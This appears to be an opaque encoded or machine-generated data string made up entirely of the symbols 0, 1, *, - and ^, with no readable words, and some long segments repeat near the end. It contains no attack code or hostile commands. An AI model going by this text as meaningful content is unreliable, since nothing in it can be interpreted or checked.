*0-**00110^-001011*1*11*00110101^^1010-01*11010-001^101101011*10-101*0010-*0^10-^--11*1*1^1011*010-0-00-0011*10110-1**01^-001010101**10110101^10-10^^1^10^^110110110-10--0101011*-*1*110110110^--00-10-*-001101^-^-*10-010^-1011*^---0^110^-*1011*^1101101^101*1*01^101*01*00-10101^----010-00-0^1011*010-1^11010-*-11*0-1*010-11011*001********0--*********^1********001011011********010^1********00-011**********001********0011*1********00--********00--********00-011********0-1011********0-*1********01*011********00^-*********^11********00--0101^--0-*0^-0101010110101*0-^^1*00101^101^--0-*0^-0101010110101*0-^^1*001011*-1*-1*011**101101*1011010110^1*0-10^101^110^-1*0^10110110^1010^10-1*011*0-11*0-1**0010-1101**^-01^101^^-01*01^1^1101*01101^10^-0^10^11*11011*00-*00-01*01^-0^10110110-1011011*1101*^-110-0010-01*^-0-11*110^-101*10-0-1**1^101*-10-0-10--11*1*1^1*-110110^10^^101^10^^1101^^1*11**-0110-1*10^11*--0^1010-01*110-101010-10110101010-01^11*001010110-0^1**01*10-01*0^10-1*^110^-010-1*10-*110-*0110-11*0110-1*0-10^-0-01^101*0101^-*01*-01101***11*0-***-110101*110-110^101*-1**0^-10101**001*01*00-010-001010101*^-*-1101*01^1*010--0-^1*00101*01^-1**-011**00^^101101*1011*001010-0-00^-00-011010110--10-*11*00-011*0011*10110^1010^-0011*^101*110-1010110-10101*1*0010-1*0-^^-0-^-1*00110110^10-001*0^110-^-11**1**-^1^1^-01^^10-0-11**1*1^101*00-1^10-11*0^^-11*00^1*0-0-001011*-11*1010^11010110-*-010-101^-110-1011010-10--110101^-110101*1010110110^1*10110-110-*0^-10--0-00-^11*11*11*01011011*-101*1011*-1*001101^1*00110^1010^11**01101^1101*0010-*011*010-1010^^^1101*^1010-011*-00-^1^^1010101^101011*^10101*001*00110110101**010-0^110^10-^1101^^1101010101101101*1010-110101*101*0^101*10-101*1*-1101^-010-^110101*00-1*001*110110^1**00-00101**--*1*0110--*^101010-1^10101*-0101*-010--*101*0011**01*110-****-0-**0-11*11*0110-^101^^^-0-010^^-1**^^1^11*0110^110110-01*0-0-*1*--0-***1101***11011011**110101101101^1010-101*10101*0-00^-10^--01101*0-0^^1*-11****00-*1**110-0101*0110101^110^1010-101*10101*0-0-00-0^11011*001*0-10-101*--1101***-1101**1101101**011010-*1^1010-^10110101*0-010110-0^1101*0101*0-10-001*-11****00-0101*^10--10110^10-11*^^10---001*0^110101*00101*001*101**11*11011011*^--1*^^--10-00-001010101*00-*10101*0-*110101*01*00-1011*-^-0101*01^-01101^1*01101**01^101*01*00110^101*^101*10110-00-*-1**01*0-1011*-010-0101**-11011011*-01101***1*1*01*0^1*101*1*-0010110-*0-0-1**-1101101010^1*110101010^-10-01010^--11*10-00101*01^-010-00101*-0-1010^-1*1*-0-11*110101*10-010^1*^11*1**00-1^11**10--101^1^-1*0^101*11010101010^-1*1^-0-110-0^1*1011*1^1*^-^1**0---**10-0-*001^-0-1^101*1101^1010^-10-*-0-11**101*10110-0-*^1^-11*00-10--*010-001011*1^-01011010101*110^^10^--*-110--^1010^1101101011010^110110101*0^110-1101**11010110^1**0^11011*-001010101^101101^1^10101011010-1^-001010-11*1*-0-0-01*-010-^1*-0110-001010-00--00110101*010-1*01^101^1*1011011*0^1*0^-*-0110^1**11*1101*1*110-1010101*1010-010-*011010^^11011*01^101^1*1011011*0^1*0^-*-01101011010^11*1^1011*110-^11*001010-0-101*11010^1*1011*0110-01011010^1*10-0010^1*1101*10^10--**101011010101010-^-1^11*11**10-011010-0110-*01**101101^^110^10-011*1*00^11010-***10^1*-010-^-1^11*11**10-011010-0110-*010^1*1101^1010-0010-0110-01*^11010101011**10^^-1010-101^-00^-*1*110^-*-0010^-00-*^-01011*010101010^110^--1^-10^1^1^^10110-1010101*11011*1*10-1*^1**0-1010110101*1*-0^10-10101010^1*10--1^11010^1^1101*-10-1010-00-011*1011*-*^^1*0-101011*10101*-010101101101010101011*10--11*^1*1^1^10-110-1010-10-011*1010---0-**00-10-0-110-110-0^^11*001*1101^^1*010101^^1**-110^1*010-110-001101^---110---*-0101*110^101011*^10^1^-1*001101101*0101011*^10^10-1101*0010-1^11*0010---0-*-*-0010-110^10^1*11010^1^10110^-0010-101010-001010^-0-001*010-0010101^10-110-0-11*00-0-^1010110-0-0-00^11010-01^^-0011*^1**0110--011*-00110-001010-10--0-0-0^^-0--0110110-0-^110^1101011*^^-0011011*1**0---011*-01^-001010-*00-0-01^-*-0-10-0-0-0-101101^11010-^10^-00-11*1**011*1011011*-01^-00101011*010-0-0-1011*-0-10^^10-0-0010-0011010110-01^-00-010-**0--001011*-00--001010-01010-0-01101011*-0--1010110-0-001010^11010110-00^-00---**0-001011011*-110-1^10101^1010-0-0-**0-0-110-0110-0-001010^110101101^1^-00110--**0-0^11011*--00-001010-1*0-0-0-11*00-0-1101*110-0-^^^110101101011*0-001^^11**0-001011011*-010-1^10101^1010-0-0-001*0-0-1101010110-0-1^10^110101^1010^-00110-001**01^110^11*-0101101^1010110^10-0-0110101*0-0-11*00110-0-11*0^11010-00^^-00-0-01**0-001011011*-00^-001010-10--0-011*-00-0-1**110-0-101010^110101^-0^-0011**1**011*0011011*-00110-0010101^1010----101^--11*00----*-001101011010101010-0-0011010-1*-^^-1*1^1010-11*11011010--001*010^-0101*^^^110^-1*010-1*0--01^101010110^1*10110^^-011011*00-10-01101*0-^10-1*0-0101*1*00^1101*-1*10-10-1010101^110-0-001^110--*1^1101^1^10^101*11*-1*^-0110110^1101^^-0101^^^110110101*01*0-01**101101^1^1101^110101*0--1*011*1*-*0101011010-*010^1010-0010^101*001*0-01^-0011010101*1010-010-101*00^101*001^1*-01*01*110--*^101011**0-0010-011*001*01^-0-00110^11*1010-010-101*00^-00^1^1*101*^1*11010-0^^1010--*-0010-^1*01*010101010-0011011*^1010-01101^1*00^-01^1^1*10-10101*1101*-00^1010^1*00-0010^^1*01*01*1010-001101*0^1010-01*0-*00^1*01101^1*11*1*1*1101011*00^10101**00-00101^101*01*0^^10-00110-11*1010-01*0-*00^-01^1^1*--*1*110-101*^101011***01^-10-*01^110-11*01^110101^-0010-0-00^101011**00101*11*^110-101*1010^10110^10-00-^11010-10110^1101^^110^10101*00110^^11**00^10-0^^1*^1010-*11010110-1^10101*--1^10^1*1^1*010-10101^110110-1^10-0-001101*0^10--0^1*1010^-*110110^-^10101010--1^10-10101^1*0110101*1^110-*1*10-0^10-1*1^-11*1*1^--011*1^-1^1101^-0110-0101*-*10110^-101*-110--0^^1*101101010-*^-*-*00-110-11*010-101*^1^--^10101*--00110^-1*10-110--*1^1*1011*01101*^11*1011*00-1*101*0010-101011*1^--1*0^1101^^110^11011010^10^110-10110101*0-00110-^11011*0-11*001101010--^-0-01^110-11011010110110-1*1^^10--1101*-110^-01*0-11*-^110-0110-1*00-00^--0011*10-00110-*001101101101^10-00^10-1*101*-1^10-01*0-11*-^11011*10-1*00-01*--00-1^-00110-010110101101101^1101^^10110-0101*--1***0-1010^11*0-^110-*0-^10-11011*011*10-^^101010^-11*0-011011**11*110-1*1^1011*01*11010-1^1^1011011*1*00--101011*01**-^^^^^-1^1*0011011*00101*110-1*0-0011*01*0110--001^10^110-101*01*--01*110--110^^-11010110101*00^1*11*1010^10-10-*10110^1*11*0110^101^1^110^1*001^-1*11010101^11010^-*1101^-*1*^^10--1*-0^^^1*0101*10101^1^1*011011**10-110-11*11011*^1101010^101*00110-110101*011010-^1*0110^10^1*1^110-0101*^11**-0-0^1**1*1010-*10101^-00^101*00-01^^11*110^10-11010^1101*001^10-*01*^101*0-10-01010^101^11011011*-00110^-10-00110-10110^-110---0^1101*-010-0^1010110101*1*-110110^10^1101*010110^110--1010--1101101010--*0-11010^10110^1^101011010-0^-011*10-01*-*10-011*01*10-*0^^1^10101^1*-^1***11*01101**001*-101^-01101**00-0110^-^-01101*-**110-0-110-110-0010-0-00^1^^10101010^-011*1011*1101^1*10110-*00^1*10-*1010101*101*0110^--0-1101101010-0-0010^10101**1*0-11**^1^-**-1*--01101^10-110-0011*-00-101010-101011010-00110101101101010101*^1101010^10-001011*010-0101011*0--0110^--110-011*0-00-101*-101011010^-10101101^-001*^1101*^1011*1011011011011*1011*-011*1010110-*0011011011*^10110-110-1*01*01*0010110101*^101*1^101^1010-1**00^10-01*010-101010101011**01^1011*^101101*0-11*0^101*00101101*00^101*11*00^1010-10-*0^10-0010-0-1010^1*1**01^1011*110^1010-00-0^10^-0-0^1*01010-10110--1*-11010--^10^1*01^1011*1^-011010110110^10^-0010^110^-00-*00^-001011*0-*001^101*010110101101*10-10-0^-110^11*1*0-*110-00101101101101*010-010-01*1*00101*-0-*00^10-*10110^101*10-101*010-110^-1**-*1^1*1011011011**--0010^^--00-11010--0011*0101*-00--00-1**11*0011**^101^1101***010101^-0101^^1*0-00^^^1101010^^1*-010110101^-00^110-00^-*0011*1*010-1101*-^101^1*101101*11**10110110101*10101^10110^1^1*101011*1101*110-*0^1*0011*1^--110^^-0101^^1^101*11**-00110101*1***1**1011*001**0^1*01*0011010^-^-*^-10-110-10-110-0-01011*0-1^^101*0110-*01010-11*01*0--00-011011010-0011*-^-0-10-10-110-10-110-011011011*0-1101*101*0--*01010--001*00--10101011011010-0010^-^-110110-10-1*0010-110-1*0-1*0-*0010101*011**001010--0-*0--1*0-0-10-00101010-10110-*10-10-001^-110^10101010101***110^-*00^1*0^^11*1*0-1*1^1*^11*-*01*1*00-0011011*01^1^1011*011011*1011**-*^-00101*-^1*-101*101**1011010^1^11*10101010^11*10^^1**110-1*00^1**0011*-0^^-001^--001*010101*101**1011010^1^-0010101010^11*10^^^--0-1**0^1**11*10-00^-*1^-1^1*110101*101**0011010^11*00-11010101*01*0^^^1*^-1*00^1**001^--00^-*010--001**-*101*0-001010^1^^1*101010^1^^^^1**^-1*0011***011*10-00^-00-0010-001*^11*0101**1011010^1^1*010101010^-0010-011**0110-011*110110-1011*0-^10-11011*101*001101*110101^^110-01^^101*0-11011010-00-0-*0-1*110-^10-01^1^10-10-00-110110-110-1*-^110-1*-*010-1*1010^101101101*0-0110101010110-010110-010101^1*00101***0^1*0-1101*1^^1*110-10-*0-*010-1^-01101*01*110101010110-010110-0^10^1*0010^101*00^10-10-01*1101^1*110-101011*-*0^101^-011010110110-01010^101^10110-0010-001*00101***0^101101101101010110-1*1010101^11011010101011011*10110^1^1010-00-11*10101*1*1*0-1*-0^--00^101*1101101*-01*0011011*^-0--^1*110^10^1^--^-110110^1*1*^1*01*-0^110-00^101**0101*-0010^11011*^11010--001*001*10^11*110-00-1^^-*1*1010^11*-01*^1*^101010^1101*-0101*11011*^---1^1*^^10110110-0-01011011*1*101011011*-010110-1011*1011*10^^101*0^10-01011*0-001101011*101^-001101^11*00-1^110101^10-0011010---0011010^-1^11**-^101*001*10--01*-1*01101^11*0010-*00-*101101**1^1*11*010-0-0-**11*011**0-00101**1*0--0^101**1101^-0^10-*00^^101101*10110101*11*-0^-0-*00-*011*01101*0101**1*0--0^11**01101^1011*10-*00-110101101*00^101*11*-0010-0-*01011*011*01011*0101***^-1101*-01*1101^11*0010-*00110^101101**0^-^1***-^^-0110-^^^1010^^-1010101101010-1*00-00^-00^^--10-0110-0-1^1*110-0-*-*1*-00-1^--*--01010-010-1101010-01010-01010-0-0-*01*0^101*10^1^-001***0110-011**^1011*^110-00110-*-*0101011*01101*1101*10-1011*0^^10101*10^-101^1**1^^-011*1011*011*1*1011*110-0011011010101011*1011*01101*010-011*0^1**1*10^110110^101**1**101*01*11*101*011*^^--101*1*010-0-011*01011010-11*010-10-11**-1011**-11****0-00101*0-0-^10^101^11*10101010-110110^11*1011*00^1*10-1**1*10-01**0^1101101010-00101010-001010110101^-*00-001010101^1011010^^1*10101*1^^^10110-00-*^11**0^11011010101*-10110101*00-^11**00-10-1*0110110^-0011*-^1101010-^1*00-0011*^1^10^110110-001101010-*^-00^1101010-^^11*00101^^1^11010-01*^11*1010-0^-10101^10^110-*00-001*--*10-*110-00101***^110-110-0-1^11*10101*10-*1010-010-101101^101011*11*00-01*--1*^^10110-001*1**0^1^-001^1101^10^1*110110-0011*11011*0101^^-11010101*--0^-0-1101101010-*10-101^-*0-1011*0110^110^10110^10-^10^1010-101*^^--01**--^10110-110-1010-*10-01*0-1*01^-01011*0-*-011*0-0-1^1*-1*10^10--^-*10--*010-0101101011011*00-1*0101^10-110-1011*0110^101101011011**^1*-001101*10-11*1011*10--1*00-010--^1*00-10^101^10--1*011*01101^101010110-0-0^1*--101*10-110-001*10-101011*-010--0-*00--01101^10-010-10110^1101010110110^1^-010110^11010^101**1*010--*10-101^1101010^10101101^^10-00^^^-101*-011*01101*01010-0-^1^-^-1**10-10--*1^1101^11010-1010101101^1*-1*00110^101011*0110-1*11*0110-0^-010-00^-101101010-110101*011010-11*0101^10-0101*01010^1101101101**0-1*11010^-110-^110-11010-0101*1101101010-010101*0110-1011*01011**101010^1*101011010^^11*11010^^10^11*00110^10-^10110-01^11*010^^1101011010110^^1*1^10110^10-1*10101*10-010110110-0101*10-1*001101^10-00101^-*011*01*--0101101*0-^1*1^10110^10-1*10101*10-001010110-010^--1*001^11010-00101^-*011*01*--110^^--0110^1*00-0110^1011*1^1*0-01^1011011011*1010-*--00101010^110^1101010^-0110101010^110-0101*1*011*^1**01*110-0101*00-^^11**-10101*011*-0^1**10-00-*0101*-*1*^10-1*1*-00-1*^^^-1^-11*010^10-^101*10^-101010110--11*00^10--1010^-10110101*-1*-101*0--110^10^11010-0-1*11010--01*11010-1^^-101*--001^^^1010^11*01101011010101*110^-01101*00--01011*0010-110-00101*11*11*0-0010-10^-001^1^^1010110^1**11*1^1*001010101^1*00-110-101*^-*1^110-1**101^-001*0101^1^1*00101^-01**-10-01101^^10^1^1101010101*10-^1*^-*0-1101101*10-0110-01*110-00101^1*01*010101101^-10-1*1^^101010-010101010101010-^1*1101101^-110-*010-011011010^110-0010110101*1*0-11010^-10^-01^^10--101010101011*-1^1*11*01^-110^101^-0110110--10-00^10101*1*0-1*1^-10--01^^101^^110101010101010-^1*1*001^-1101101*10-0110-11*110-001*0101*1*0^11010^-10-00101^^101**110101010110^-^1*--*1010^1011011011010^110^-1010^11*01010-001**--010^1101010-101101*1010-0-*0^10^-^1^1^1011010110--01101101*101^^110101^^-001**--010^1011010-1011010-010-0-*11*0^-10^110^101101010110-101101101*101^^1^-1*0-001**0-110101*001010-10110101^10-0-*0^10^-10^101*1011010-^-011011*00101^^11*01*00-00101^10-11010^1011010-101101*1010-0-*011010^-1**1^101101010110-101101^-0011011*^1*1^11*10110101^11*1*10-0-01011*01101*00-00^101^10-01^11011*01^^101010110-^10^1*-0-11*10---101*10--001^110^1101^^110^-10-00110^-^11*001101*011011**1**-0-001*10-110110110-0-001011010110110101^101*^101^-101101101**1^-10-*-*--1*-**-1*-*010-1*011*-010^-1**110-0-*00101*1010^11010-1*110-*11*^10--1*0^10^1011*0^1*110110^1*-00101*00^-010-*1010110^-*0110101010-0-110-*0-0-00-*0^1010101**101**1^--**^110-1**-010-110^-11*101^-1010-1011010-01101*10^--0-00101101101^1^10110-^-0010110-110-00-*01011*1011011*001^10-0^10101011*001**0-11**^10^-11*----1*01010--11*-10-10101010101*---00--001^11010^-0-101*010101011*10-00-*^1*-0-10101101*1010-0-00-*-10-0011*0-10-01**-001*-01101*01^^-00-*0011011*0-*001*01^^1***010-1***1101*001101*110-*01*00^1101**010^1101*1^10^1101*-0101^-1^1011**--0-11010110-*0^11*0-001010-0--0--11*-0-*110110-110101010-00110-0010^--00101**-101^-01011011*-1011*011*1^-0-11*1^-*-0-0-10110-1101*10-00110-*0^-11*0011*00-11*-1010110-10101*^10110110^10^1011*1*10^10-101^-*1^1101101010^1*-011010^101*1011010^1*001011*^101**01*001010--1101011*0011*^-0^-01010^1011*1010^10^110110^-0^^^--110^1101*0^^-1^1*001011010-110101^1*1^^-*^101010^1010^1010^10101011010^-01*-0---*-**^^1^^1*001010110-1101011011*1*^-001^101010^^1010-0^10101011010^-0101^^--110^1101*0^1*110^1*001*01010-010110--*^-001010-010^^1*-0^10^1*10^-010101^---*1**00^^--011*1^101*-*11**0-1*1101**-10-0-010-00-101*0011010110101^10101011011*-11*^110^101010-00101010-0-0101*---1011*01010-10-01*0101^-1*10^101011010^110101011011*10-*^11*00-10-001**^-010^10^--0110-10-011*101^1011011*10^^11011*10^110---10^11*00^1101^^1*0011010--1010---*^-10^-1010^-0-1010^10-1^10^-01^1*---110101**^-1^^1*00-0^-11010-010-^^-11**1010^1101^1010^10-^110^-0-011*----1**0^11*10^1*00110-00-1010-110-*^---101010^-11011010^10-*0-00-0-011*---0^1**^--01101*001^110-11010---*^-11*0101010^-*01010^10-*0-00-011*0^---^1**0^110-0^1*00110-0-11010-010-^^--010-010^110^-10^10-0010-00-0--^---1*101*0^110^1^1*00-001010-*-*0^-*-0^10-1*-^1^1011***^^110^-*1010101^1*11011011*01101010110101**1010-011*101*11*-0011*010-1*001^1*11*0011*-00110^11011010101011*110-^^1*00^1^^^110^1^^1**00-^1101011010^101010-0110110^^-0110110101*^1^-10-0-*10-0-01*0010-0-0^^10101*1^10^1^110110101010--001011*01*0-^^-01*-*0--1011010101101^1*01*110-010-^101010101*11010110-0011011*1010--001*-01*0-10-01^1*-01101*-011010-001^1*01*0-11010-1011*-01*11*0-1^11011*0010--001*00101*0-10101101101*-010-10-0110^1^1^1*0^1011011010-1*0-1101*1^110-^11011*1^--001*-01*0-1010^1101*-*11010-011010110-^1*010^11011010-^--101*1^110-^1101^-00--001*-01*0-10-01^1*-01*110-0110101*-001*0^1010101010-^1^-01*11*--00110110-^--00^10^1*0-10-01^1*-*11010-0110^10101^1*01011010-010-1*^-01*110^-0^110110-*--0010^1**0-^10101101*-*0--10110^10101*1*0101*-1010-10110-0101*11*^-001101101010^-001010-*-^10101101^-0010101*00110-1*0101011010-1*01*110101**0--1***001101*01*0-0101*0^10-0101*0^^1101*1*0--1^101*-^110^1010101^-0-^1**-110^1*0101010-101*0^11010110-10-0101011011010-01010110-00-0-101^1^-101*^1*11*-0^10-1^^1^110110^-11*0110110^-00-0-1*10^-01^1^110-10^-101^10--01^1**0-01^^10^-01^1011*011*00^10101011*-00-0101101101^-10-10101*01^1^1*^1^1*11010^11*0011**0101*1*011***11*001*00^11*-*0-0-001**010-^1***-^1*001010-01*01101*1011*0-110101*11010-001*010--0101010110--*1010110--110101010-01^110110^1*1*-11*1^1*--001^^--^1^1*--1*10-1*1010^-^^^101*110101**1^-00^1101^-^1*0--110101^-1*11**010-0-00^-0-0-*-010-0---0-001101^1**1*0-010^1011*10110--^10-0101*-11010^1101011*0110^1010-^-01^1*0^11*^-001101101**01*01^-001011*10110--^10-1101*-110--101011*0110^1010-^110^101*0^10^^-0011011***1*0110101*1011*11010--^10110-1*-110^-101011*0-0011010-^101*101*0^-0010-^110-0-*01*01*-001011*101010--00101010101*-1101^-01011*0-0011010-^-101101*0^^-0-^110^1^1*1*0^^1101011*10-010-^1010110-0-10101011*--0101*110--010^-001^^1^-0011*-10101^1^10--1^-^-1011010^1*1^101^1^-110101*010-1101101011*0101^1*00^^1^101011*110-10-11*110-1010101*1101101*10^1*0-0-001^11011**0010-0-1^11*0^1^1*0^1*^1*-*11011011*1^1010-01^-^10-01010^1*0-0-*001^1010-11*1^-010101*1^101*101^^^11*011*10101^^--01**10^-1^^1^110^1***01*01**011*101^1101*1*-00110^1*00110-10-*0011*001101*0011*0-010^^10--00101010-01*00^1101010-*0-10101**-1^-11*1*1010^1011011*0101*101101101*10-11010^^^11*001010101101101^^110^-11*-1010-1010-1^101011011*1010-*-11*001011*1011*0010-1*11*001*01*101101*0-00101011**0110-001*00^110^-001*0101*001*-11*0011*110101***0^101*-****101101*1*00101011*0110110-001**10110^-0010^101*00^1*11*0011*010-****0-*-**01*010110^-1*101011*1*010-001**10110^-*0^101*001*01101*0011*1*-***-101*-*0011*0010110^1**11*1^1*00101*1^1011*01*11*0101*110-110^-^1^11*010-01*-0-^-10-00--0110--0101^-001^-1^1101011010-1*0110110-0010110-110-*^1^-00^-01*-*0^-10-1*0-0110-1*-^-00--01^1101011*0011*0110110-0010110-110101101^1^11*00101101*110-*0-10-0110-10110-10--00-0011*-^11010-0-11*011011*11010110-110^-^1^1^^-101*110-0^-10-1*0-0110-^-110-00-01**-00-110^10-00-011010101^^1^10101*01101**10-*011*10^-*-*00^^10--01010-10110-00^11010-0-0^1101010-0-00110101*10-101*101*10^^-010^110110-10101*011*10^101101*0^1011011011*0-*^-*1011*1*1101^11*^-101*101*01^^-001*010110-1*0011011*101*1*1*0^1011011011*0-010-011*1011*0^1101^1^1^-101*10^-^^-*001010110-10^1*11*101*1*1*0^1*0^11*0-011011011*10110-1101101^110110--01*1011*1*^-011011010110-101**11*10^1011010^11010-00101^11010^10-^110101010-^-00101*00-010101^1*101*1011*101*01*1101*011*^1*1*0^1010101**1*1101^-00--010^11*0-00-01010-010101010-0101*1010101101*01*1101*011*^^1****-0-1**00-^1***1010101*10101011*^10^^11010^10101*10101^^1*011010110-^101*-**^-001010^1^1011010-^1101^1*00101010^10^-0-0-0--10-0101*10-0-0-0101011*-^1^----10101^-0110-101011010-11*1^1*-01010101*^1101*0101*1011*110-0010-00-0-*--*0---1^-1^-0-^101011010-*-^1*-110-01*^11010101101*1011*--0010-001101011*-11011010---0010^^-0--*011010-101^^1*-*1^1*^-0^1101*1011010--0010-11*-1*-110110----^101^-0-10^1011010-0010-001*-10110101*^11*110101*10-0-0-0010-^--*-10110----^1101^-01^10101011010-1*11*1*-10-001*^-10101101*101101*-^10-01*-1*-1010----1^1101^-0-10^1**011*1*1**1^11*1**-11*11***--0^11*-^-*01*01^-00-00110110-11011**0-00101**-1011*^1*00^1010^101*01**0011010110^11**10-1*01*0110-^-001^--101^-^1^101**1101011*1*^-001010^1*1101***0^110^11*011010-*0^110^-00-00^^-11011*10-1^101**0101011*^101010^10101*-^1***0010110^11*^110-*0^110^-00-*0-0-1101^-0010^101*10^11011*1*01^^10101*01*01*1*0010-01*1**101101*1**10--0110^-**11011*0^1010^1101*110-1^1*-1^110101*00-10-011011*-0110-0-00-*-101011*-1*1**00-1*10101*-11*10101^11*1^^10^-0-0110-*0011*11*1*101*0-*0--01011*1*0110110^11*10-*--0010110^1**01*1^1*10-110-0-01**11*10101*0101*01**--010-001*011011011011*10-*10-10110110^1101*11*1^1*0110-0-011010-*11*110101010101*01101*0-110101010101*1101101*-010-*1010101010110^110-101*1^1*10-110-010-**11*^11*0101*011*00--010-011*0110110--0010-*1*0^10110^1^1*1*1^11011010-0-0--1*011*--^101*0101010--1010101**011011010-*10-*10^^10110^^1*01*1^-0-0-0-01^-*011*1101^10101*01*110--01010-*0011011010101*-^101^--1^10-0--1^10110101101^101*0^101*00^1*01^101**1*0-001*-01*11010^1*1*1^1^11**10-1*^11*-1*010-01^10^11010101*00^11*0^101*001*00-001*-01*110101***01^11*1010^10-^11**0-1*00^101^10^-0^1*001**10^101*0-1^-001*001*00110101*001*01^11*110101010-^10101*0-1*--01^101*010^1*001*^10^101*00-^-001*101*1011010^101^101^11*-*010-^110101^-1**00-^10^1*1011*00^110101^101*01101010-001*1*1^11010^10101^1^11*110101010-1**1*0-1*^-01^10^1010^1*001*10110^101**11*-001*1101*011010^1**01^1^1^1*10-^1*01*-1*0101*1^101*-1101*00^11*0^101*010-00-001*^1*0110101*011*01^1^101*0010-^-001*-1**--00101*011*1*00^-^^101*0^1^101**10^1^1**1010-001**0-01*10^1*110-10-1101*101^10-001*0^-10^-*-1*101*1*--1010101*-0011010101*^10110-001*10^10-1*110-1^-*^10-00-10^-1010^1^-1*10-01*--1010-0^11010^1*1^11010^1^1*110101*0101*1^^-01**101*1*^1101*0-0110^-^^1*1101011*1101010-11*00-001011**01**-11*0101*01^^-01**101*1*^1101*0-0110^-^^1*1101011*1101010-11*00-001011**01**-11*0101*01^^-01**101*1*^1101*0-0110^-^^1*1101011*1101010-11*00-001011**01**-11*0101*01^^-01**101*1*^1101*0-0110^-^^1*1101011*1101010-11*00-001011**01**-11*0101*01^^-01**101*1*^1101*0-0110^-^^1*1101011*1101010-11*00-001011**01**-11*0101*01^^-01**101*1*^1101*0-0110^-^^1*1101011*1101010-11*00-001011**01**-11*0101*01^^-01**101*1*^1101*0-0110^-^^1*1101011*1101010-11*00-001011**01**-11*0101*01^^-01**101*1*^1101*0-0110^-^^1*1101011*1101010-11*00-001011**01**-11*0101*01^^-01**101*1*^1101*0-0110^-^^1*1101011*1101010-11*00-001011**01**-11*0101*01^^-01**101*1*^1101*0-0110^-^^1*1101011*1101010-11*00-001011**01*00-01*110-00-01*10---01*0^-*00^10^^1010-01**1011*10^10--01^1^--1*00-1101011011*1*10-0-01010-0010^1^11010-*00^-110-0^110--0010^11010-10110^110-101011**01101*1011*10^--0010^-0110-0-001011*00-0110--0110-01011*00^110^10^10^-*10110101**001010^1011*1010-101^10^^1010-0-0011*1*-01101010110110-010-1^^110^-0010^-*^-01**001*0-011*10-^-0010^11*0-10-00110^^-011011*00110-01010-00^110^^1*^-*^-01**0011*011011*101*00-0010^110-00110-00--^-01101101^110-010-0010^110^-0010^-*10^101**0011*-011*101010-1^10^-0010-0-00110101*-01101*1*10-010-00-00110^1101010^-*11*101**00110^11011*10101010-0010^10-00-0-001011*00-01101101^110-0101101^^110^^-1^-*-*11**00^^11011*10^--0010^-0110-0-00-011*-0110^1*110-0101101*^110^-0010^-*-11011**00-110^11*101*0010^10^10101*110-00-1*10-0110-010-0-010101^1^110^101^1^-*-****0101*^11*10101*10^10^10-*110-00-*010-01101^1^10-01011*1*0110^^1*^-*1*****^10101011*10-01010^10^1101*0110-00-001^-01101*1^10-0101*01*0110^11*1*0-*-****0101*^11*1011*101^10^-11*110-00-001^-011010-^10-010101101*0110^-101*0-*1101*00--0^110^--0-00---10-0101^-10^1^110^1011*1*1**11011*001010^1*-0101^1010-010-1010110101^-^-0-110-0-110^10-0-101*^110^1011*1^1**11*1*01010^10-010^1*0101010110101*010--1101*0101^-101*--00^11010-01*-1*00--01*001101101010101*00-^-01*--10-010110-^11*1101010-001*001*-11*^11010-0010-11*00-^11*00110-0110101^^-11*-00^110-*1^^1101*00101^-00101010--11*0--1*11*---10110-0-1*101101^-0^-1011*10101*11*1011*1^-*110101^-00-110--1101*--*1101*-0-0-0-^10-0-1*10110-0-01011011*10101*-*1*00---1101^11010101011*10110101010110-01010^10101011011010-00110^-010-1*010--011*1010-101*01*00101*-1101^-10-011*10110101010110-01011*101010110-1101^110^1*0-11*0101101*11*10101*01*01*001*0^-01^^1*1011*10-001010110-01011*1010101101*011*101*10-11*101*-0101^101*110-110110-10^^-*10^1*1*00^^1^101*0-00-0101*1011*0-01^110^-00-0011010^1*1^1101*11*11010101*0-0101*1101010^-01011*1010101*00^^^1*1101*-**0011****-10101**110-0-00^101010^1*10101*1101101^-010110-110101*0010-1^1*1101*-**001^1101**-1011**0110-*001^101010^1*10101*1^1*00-0101^1*0101*001*^101*1101010^1**0110-011*00-10-001*110-*101*101010^1*00101*110110-0-010110101^101*00^101*1*110^1^1**01101*11*00-10--*110-01^1*10101010-1^101*1^1^10-010110101^101*00101011*1*1101*1101**0110110-*00-1010-1*110-*101*10101010^1^101*1^^110-010110101^101*001010-001*1101*00-**1101011011*0-101*0110^^10^^10^^10-*10^^1*01*0011*101^11010-10^-1101*010^1*00-00-011**001*1010110^101^101^10-1^11011011*0--01^^-11011011010--1011011*10-1101101101010-^1011010-0-1^1^-10-*0110101010^1*^-1^10101011010-110-001^1101^10^101011*0-1101*^-1^101101*10-1^11010-0-*0-011010^1*^-1^1010101^--0-00-01101^10^10-*00-110-1^-1^10110-010-1^101011010-*0^101*^1*10110-00101010^10-110-00110-0110110110110-0^110110^10-00110110101*1^10-0-10^1^1^-*1^-010-0-10-001010^11011011*1^-1*10^101^-0011010-10-^1011010^1101010-0-11*1^1^10^1*101*010110-1101*0101*0-01*01*^-101*-1101*0-1010110-01010110--00--00-0010^11*0^1^110-1101*0101101^10^1^11*1010110^-1101*1*1011*-1011**010101101011010--^^101*-0^1*^-110^1^--110^11010--11*0-1010^110^11*^11011*001011*^1*11*-*-00--001*01*0^101^11*1^^11***01^-11**00110^1101*1010^11011*101101*^1*110-11*-00^-001*0^-01101^11*00^1011****10-11*010-00^110^10101*11011*0110-00^1*0--1*-0011*^1*01*0110101*011*^1101*011*001^1*011*-*10^110-1*01101*0-01*^11*1^110^1^10-01*--10101101*-*01101*00-1^101011*1*^^101*0^11010-1101101*011010^^11*-0010^1^10--0010-010^101*0-010-*1*-010-110^101010^1*^101^1*11*011*010-001**01101011010-101010-1^10-10^^-*10-*0011011011011010101^101010^1101010101^^1^^11*010-101**01101101010-101010-1^10-10^110101*10-01*^1101101^1011*101010^1^^101^1*1*0011*0101^11**01^110110-10101*-0010-1010110^1*10-*11*1101101^^1*00-110-**0-11010^1*0-11010-1*1^1010-01011*^^-001*1^1010110^^11010^^-010101^11*1^^-11*01101*-11*0101*0110-1*1^1011*01011*^11**1*1^1^-^^110-^10-01010101*^1^^1*11*1101*-001*101*0-0-*1^1011*01011*^110^101*1^10^-00^110110^10-01010110-^1^^-010^1101*-110^101*010-*001^101*1^11*^11*0101010-0^-1*10-0--*010-01101**011*00101^-0-*11*110^1^-0101*011**1*11**0-*00^-00101*001*01*101*0-101*1^1*011*00101^-0-00^1*10^11*01*1*011*0-^11**001011*^-***01*01*001*0-10^-011*011*01010110-0-*11*110^1^-1101*011**0^11**0^11**01*011***1*110101**1*0-1^10^101*10--1*1010-*110^^10^10-010-11*101101101^1^1*-0^-10-01^^-1*011010101011*10^101010110--*10^11*110^-00^10-01011010^101101101*0^1*-0101*10-01^101^1*011